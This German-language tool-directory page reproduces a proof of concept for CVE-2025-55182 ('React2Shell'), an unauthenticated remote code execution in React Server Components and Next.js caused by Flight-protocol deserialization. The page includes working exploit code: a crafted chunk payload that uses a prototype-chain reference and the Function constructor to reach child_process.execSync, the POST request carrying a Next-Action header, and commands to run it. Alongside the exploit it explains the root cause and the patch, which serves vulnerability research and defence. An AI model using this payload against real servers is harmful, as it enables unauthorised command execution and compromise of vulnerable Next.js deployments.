Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2025-55182-poc — Proof-of-Concept für CVE-2025-55182 (React2Shell): nicht authentifizierte RCE in React Server Components / Next.js über die Deserialisierung des Flight-Protokolls. | Kitploit
Tools/GitHubGitHub/monarchfish/cve-2025-55182-poc
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstestsPayload-Entwicklung
GitHubmonarchfish/cve-2025-55182-poc

cve-2025-55182-poc

Proof-of-Concept für CVE-2025-55182 (React2Shell): nicht authentifizierte RCE in React Server Components / Next.js über die Deserialisierung des Flight-Protokolls.

Repository anzeigen
7vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Grundlegende Informationen

CVE-2025-55182 ist eine der am weitesten verbreiteten Schwachstellen in Web-Frameworks im Jahr 2025. React Server Components (RSC) sind inzwischen die vorherrschende Architektur moderner Next.js-Anwendungen. Eine Vielzahl von Standardprojekten, die mit create-next-app erstellt wurden, ist betroffen – und die Schwachstelle kann ohne jeglichen benutzerdefinierten Code ausgenutzt werden.

ElementInhalt
CVE-KennungCVE-2025-55182
AlternativnameReact2Shell
SchwachstellentypNicht authentifizierte Remote Code Execution (Unauthenticated RCE); CWE-502 Deserialisierung nicht vertrauenswürdiger Daten (Deserialization of Untrusted Data) [3]
CVSS-Score10.0 (Critical) (CVSS 3.1, Facebook/CNA [2])
Betroffene Paketereact-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack
Betroffene VersionenReact 19.0.0–19.2.0 / Next.js 14.3.0-canary.77 und höher, 15.x, 16.x
AngriffskomplexitätSehr gering (ein einzelner HTTP-POST-Request)
Authentifizierung erforderlichNein

Ablauf zur Erstellung des POC

1. App mit der offiziellen Syntax erstellen

Erstellen Sie eine Next-Anwendung mit der verwundbaren Version (16.0.6):

root@kitploit:~
pnpm create [email protected] next-app --yes

2. Eine Test-Server-Action erstellen

  1. Fügen Sie unter next-app/app/ eine Datei actions.ts hinzu und markieren Sie sie als Server Action:

    root@kitploit:~
    "use server";
    
    export async function testAction(formData: FormData) {
      console.log("Action called with:", formData);
    }
    
  2. Fügen Sie auf der Startseite (z. B. app/page.tsx) ein Formular hinzu, dessen action auf die oben genannte testAction verweist und das mindestens ein Feld enthält (z. B. ein Hidden Input).

    Next.js erzeugt für dieses Formular im HTML ein Hidden Input mit name="$ACTION_ID_<40 Zeichen hex>"; der POC extrahiert diese ID per Regex aus dem HTML der Startseite.

3. Eine sichere containerisierte POC-Umgebung erstellen

Die Dateien next-app/Dockerfile und docker-compose.yml im Projekt können zum Erstellen und Ausführen der Next-Anwendung verwendet werden; als Vorbild kann das offizielle Beispiel [8] dienen.

Führen Sie im Projektstammverzeichnis aus:

root@kitploit:~
docker compose up --build -d

Die gestartete Next-Anwendung ist anschließend unter http://localhost:3000 erreichbar.

Entfernen Sie nach Abschluss des POC die Docker-Umgebung vollständig:

root@kitploit:~
docker compose down -v

Schritte zur Ausnutzung der Schwachstelle

Schritt 1: ACTION_ID ermitteln

Beim Ausführen des POC ruft das Skript die Startseite ab und extrahiert die ID mit dem Regex \$ACTION_ID_([a-f0-9]{40})/. Beispiel:

root@kitploit:~
const ACTION_ID_REGEX = /\$ACTION_ID_([a-f0-9]{40})/

async function extractActionIdFromPage(baseUrl: string) {
  const response = await fetch(baseUrl);
  const html = await response.text();
  const match = html.match(ACTION_ID_REGEX);
  return match ? match[1] : "";
}

Schritt 2: Exploit ausführen

Installieren Sie die Abhängigkeiten im Projektstammverzeichnis und führen Sie Folgendes aus:

root@kitploit:~
pnpm install
pnpm poc [BASE_URL] [EXECUTABLE]

Die zentralen Codeausschnitte sind:

root@kitploit:~
function escapeExecutable(executable: string) {
  return executable.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
}

const escapedExecutable = escapeExecutable(executable);

const craftedChunk = {
  then: "$1:__proto__:then",
  status: "resolved_model",
  reason: -1,
  value: '{"then": "$B0"}',
  _response: {
    _prefix: `process.mainModule.require('child_process').execSync('${escapedExecutable}');`,
    _formData: {
      get: "$1:constructor:constructor",
    },
  },
};

const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');

const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 3000);

try {
  const response = await fetch(baseUrl, {
    method: "POST",
    headers: { "Next-Action": actionId },
    body: formData,
    signal: controller.signal,
  });
  clearTimeout(timeoutId);
  const text = await response.text();
  console.log(`Status Code: ${response.status}`);
  console.log(`Response: ${text.slice(0, 500)}`);
} catch (e) {
  // handle timeout or error
}

Im Folgenden wird als Beispiel das Schreiben einer Datei auf dem Zielsystem gezeigt:

root@kitploit:~
pnpm poc http://localhost:3000 "echo 'RCE_SUCCESS' > /tmp/rce_output"

Schritt 3: Ergebnisse beobachten

  • Bei erfolgreicher RCE kann der Server nach der Ausführung des Befehls hängen bleiben oder eine Zeitüberschreitung auftreten – ein Request-Timeout ist in diesem Fall erwartetes Verhalten.
  • Überprüfen Sie auf dem Zielsystem, ob der Befehl ausgeführt wurde (z. B. durch Prüfen von Dateien oder Prozessen).
  • Sie können mit docker compose exec in den Container wechseln oder über Docker Desktop nachsehen.

Erläuterung des Prinzips

Ort der Schwachstelle

Die Schwachstelle befindet sich in der Flight-Protokoll-Deserialisierung von React (RSC Flight Deserializer). Dieser Mechanismus ist für die Übertragung des React-Komponentenzustands zwischen Server und Client zuständig, weist jedoch ein schwerwiegendes Problem an der Vertrauensgrenze im Verarbeitungsprozess auf.

Das React-Flight-Protokoll ist das von React für Server Components und Server Actions entworfene Wire-Format: Es serialisiert Komponentenbäume, Funktionsargumente usw. in einen als JSON dargestellten Chunk-Stream und erstellt über $Nummer und $Nummer:Schlüsselname Referenzen zwischen den Chunks, sodass der Server daraus vollständige JavaScript-Werte rekonstruieren kann.

Exploit-Kette

root@kitploit:~
Angreifer sendet bösartigen HTTP-POST-Request
        ↓
[Phase 1] Erstellen eines selbstreferenziellen Schleifenobjekts (Self-referential loop)
        ↓
[Phase 2] JavaScript-Engine dazu verleiten, eine vom Angreifer kontrollierte Funktion aufzurufen
        ↓
[Phase 3] Injizieren bösartiger Daten, um den Flight-Initialisierungsprozess auszulösen
        ↓
[Phase 4] Aufruf des Function-Konstruktors über den Blob-Handler
        ↓
Beliebiger JavaScript-Code wird serverseitig ausgeführt (RCE)

React Server und das Übertragungsformat

Die Server Functions von React (in Next.js als Server Actions bekannt) serialisieren die Daten, die das Frontend an das Backend senden möchte, über das React-Flight-Protokoll in einzelne Chunks und übermitteln sie anschließend als Formulardaten (Form Data).

Zu den Vorteilen dieses Designs gehören:

  • Streaming: Chunks können sequenziell erzeugt und geparst werden, ohne auf das vollständige Payload warten zu müssen – vorteilhaft für Latenz und Speicherkontrolle.
  • Deduplizierung und gemeinsame Nutzung: Dieselben Daten werden nur einmal serialisiert und an mehreren Stellen per Referenz darauf verwiesen, was Duplikate und Übertragungsvolumen reduziert.
  • Kompatibel mit Formular-POST: Chunks werden als Multipart-Felder übertragen; es ist kein benutzerdefiniertes Binärprotokoll erforderlich, was auch für bestehende CDNs, Proxys und Debugging von Vorteil ist.
  • Ausdrucksfähigkeit komplexer Strukturen: Verschachtelte Objekte und durch Referenzen ausgedrückte Graphstrukturen werden unterstützt, um die für RPC erforderlichen reichhaltigen Typen abzudecken.

Chunks können einander referenzieren, zum Beispiel:

  • Chunk 0: ["$1"] (referenziert Chunk 1)
  • Chunk 1: {"object":"fruit","name":"$2:fruitName"} (referenziert fruitName aus Chunk 2)
  • Chunk 2: {"fruitName":"cherry"}

Der Server interpretiert dies und erhält: { object: 'fruit', name: 'cherry' }. Das Protokoll erlaubt es also, mit $Nummer:Schlüsselname auf Eigenschaften anderer Chunks zu verweisen und daraus das endgültige JavaScript-Objekt zusammenzusetzen.

Ursache der Schwachstelle

Die Implementierung vor dem Patch prüfte beim Auflösen dieser Referenzen nicht streng, ob der Schlüssel tatsächlich als eigene Eigenschaft des Objekts existiert. Angreifer konnten daher über Referenzen auf Eigenschaften des Objekt-Prototyps (prototype) zugreifen.

Beispielsweise lässt sich das folgende Payload konstruieren:

  • Chunk 0: ["$1:__proto__:constructor:constructor"]
  • Chunk 1: {"x":1}

Wenn der Server „__proto__ → constructor → constructor von Chunk 1" auflöst, erhält er den Function-Konstruktor ([Function: Function]), also den eingebauten Konstruktor, der aus Zeichenketten Funktionen erzeugt. Das bedeutet: Über eine missbräuchliche Referenzkette kann serverseitig Function erlangt werden, um Zeichenketten als Code auszuführen.

Thenables und await

Nach Erhalt des Formulars stellt Next.js die Chunks mit decodeReplyFromBusboy zu einem Wert wieder her und führt auf diesem Wert ein await aus.

In JavaScript gilt ein Objekt mit einer .then-Methode als Thenable; bei await wird diese .then-Methode aufgerufen. Wenn man also das .then des „Dekodierungsergebnisses" auf eine vom Angreifer kontrollierte Funktion zeigen lässt (z. B. den oben genannten Function-Konstruktor), wird diese Logik beim await ausgeführt. Der nächste Angriffsschritt ist: Ein Objekt zu konstruieren, das nach der Dekodierung wie ein Thenable wirkt, und dessen .then auf ein gewünschtes Call-Gadget zu richten.

Vom „gefälschten Chunk" zur RCE

  1. Mit $@0 den „rohen Chunk" referenzieren
    Im Protokoll bedeutet $@Nummer „nimm den rohen Inhalt des N-ten Chunks, ohne weiter aufzulösen". Chunk 1 kann also "$@0" sein, sodass der Parsing-Prozess die Rohdarstellung von „Chunk 0 selbst" liest.

  2. Das .then von Chunk 0 auf den Prototyp des Chunks zeigen lassen
    Wenn Chunk 0 ein Objekt der Form {"then": "$1:__proto__:then", ...} ist und Chunk 1 "$@0", wird beim Parsen das .then von Chunk 0 auf Chunk.prototype.then gesetzt (im Flight-Protokoll ist der Chunk selbst ein Thenable). Wenn Next.js das Dekodierungsergebnis nun mit await behandelt, gelangt man in die .then-Logik des Chunks.

  3. initializeModelChunk auslösen
    In Chunk.prototype.then: Wenn der status des „gefälschten Chunks" "resolved_model" ist, wird initializeModelChunk aufgerufen. Dort wird der value des Chunks als JSON geparst und das resultierende Objekt einem Durchlauf „Revive" unterzogen, bei dem verschiedene spezielle Präfixe verarbeitet werden (z. B. Blob-Referenzen, die mit $B beginnen).

  4. Call-Gadget: _response._formData.get(_prefix + id)
    Bei der Verarbeitung des $B-Präfixes führt das Programm Folgendes aus:
    response._formData.get(response._prefix + eine ID).
    Wenn man im gefälschten Chunk über _response sowohl _formData als auch _prefix kontrolliert, _formData.get auf den Function-Konstruktor zeigt und _prefix auf die auszuführende Code-Zeichenkette setzt, wird diese Zeile zu:
    Function("unser geschriebener Code" + "0")
    Das heißt, es wird „eine Funktion aus einer Zeichenkette erzeugt". Diese Funktion wird als Rückgabewert des .then dieses Chunks in derselben Promise-Kette per await aufgerufen – und führt dadurch unseren Code auf dem Server aus.

  5. Tatsächliche RCE
    Ändert man „unser geschriebener Code" beispielsweise zu:
    process.mainModule.require('child_process').execSync('auszuführender Systembefehl');
    lässt sich auf dem Server Remote Code Execution (RCE) erreichen.

Behebung (Zusammenfassung)

React hat die Schwachstelle in PR #35277 [9] (Commit e2fd5dc [10]) behoben. Die zwei Kernpunkte:

  1. Eigenschaftsauflösung nicht entlang der Prototyp-Kette
    In der Logik zum Auflösen von Chunk-Referenzen (z. B. requireModule) wird nun zunächst per hasOwnProperty geprüft, ob der Schlüssel tatsächlich als eigene Eigenschaft des Objekts existiert; wenn nicht, wird undefined zurückgegeben. Eigenschaften wie constructor werden nicht mehr über __proto__ bezogen. Diese Änderung wurde auf mehrere Flight-bezogene Module angewendet (z. B. ReactFlightClientConfigBundlerNode, ReactFlightClientConfigBundlerWebpack sowie die entsprechenden Parcel-/Turbopack-Konfigurationen) und unterbricht die Exploit-Kette „Erlangen des Function-Konstruktors über Referenzen → Konstruieren eines Thenables → Auslösen eines Get-Gadgets zur beliebigen Codeausführung".

  2. Fehlerbehandlung in decodeReplyFromBusboy
    Beim Parsen der Formulardaten (resolveField, resolveFileComplete usw.) wurde ein try/catch hinzugefügt. Sobald das Parsen einen Fehler wirft, wird busboyStream.destroy(error) aufgerufen, sodass der Fehler korrekt weitergereicht wird und der Stream nicht in einem inkonsistenten Zustand verbleibt – das verringert die Angriffsfläche bei Parsing-Anomalien.


Referenzlinks

  1. NVD — CVE-2025-55182
  2. CVSS 3.1-Berechnung (Facebook/CNA)
  3. CWE-502 — Deserialization of Untrusted Data
  4. React offizielle Ankündigung — Critical security vulnerability in React Server Components
  5. Facebook Sicherheitshinweis — CVE-2025-55182
  6. CISA-Katalog bekannter ausgenutzter Schwachstellen
  7. Next.js Sicherheitshinweis — RCE in React Server Components
  8. Next.js with-docker Beispiel-Dockerfile
  9. React PR #35277 — Patch FlightReplyServer with fixes from ReactFlightClient
  10. Konkrete Änderungen von React PR #35277 (Commit e2fd5dc)
  11. POC-Referenz
Tool herunterladen